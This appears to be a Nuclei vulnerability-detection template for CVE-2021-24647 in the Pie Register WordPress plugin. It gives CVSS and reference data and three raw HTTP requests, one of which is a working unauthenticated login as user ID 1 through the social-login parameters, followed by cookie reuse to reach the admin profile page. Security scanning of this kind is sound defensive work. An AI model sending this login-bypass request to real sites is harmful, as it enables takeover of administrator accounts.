id: CVE-2021-24647 info: name: Pie Register < 3.7.1.6 - Unauthenticated Arbitrary Login author: DhiyaneshDK severity: high description: | The Registration Forms User profile, Content Restriction, Spam Protection, Payment Gateways, Invitation Codes WordPress plugin before 3.1.7.6 has a flaw in the social login implementation, allowing unauthenticated attacker to login as any user on the site by only knowing their user ID or username remediation: Fixed in version 3.7.1.6 reference: - https://nvd.nist.gov/vuln/detail/CVE-2021-24647 - https://github.com/RandomRobbieBF/CVE-2021-24647 - https://wpscan.com/vulnerability/40d347b1-b86e-477d-b4c6-da105935ce37 classification: cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.1 cve-id: CVE-2021-24647 cwe-id: CWE-287 epss-score: 0.2135 epss-percentile: 0.95888 cpe: cpe:2.3:a:genetechsolutions:pie_register:*:*:*:*:*:wordpress:*:* metadata: verified: "true" max-request: 3 vendor: genetechsolutions product: pie_register framework: wordpress tags: cve,cve2021,unauth,pie-register,wpscan,wp-plugin,wordpress,wp http: - raw: - | GET /wp-content/plugins/pie-register/readme.txt HTTP/1.1 Host: {{Hostname}} - | POST /login/ HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{randstr}}&pwd={{randstr}}&social_site=true&user_id_social_site=1&wp-submit=Log+In&testcookie=1 - | GET /wp-admin/profile.php HTTP/2 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded cookie-reuse: true matchers: - type: dsl dsl: - 'status_code_3 == 200' - 'contains(body_1, "pieregister")' - 'contains(body_3, "Username") && contains(body_3, "email-description")' condition: and # digest: 490a0046304402201bc729893f68ade6f10a9ef18923e2d838df54d60ec0ca9b7b5fae6f178216c302200b07072f2fe9b94bd4dd4ff6d8ac50a98e06b928cde4c655b56cdcf6387dbda6:922c64590222798bb761d5b6d8e72950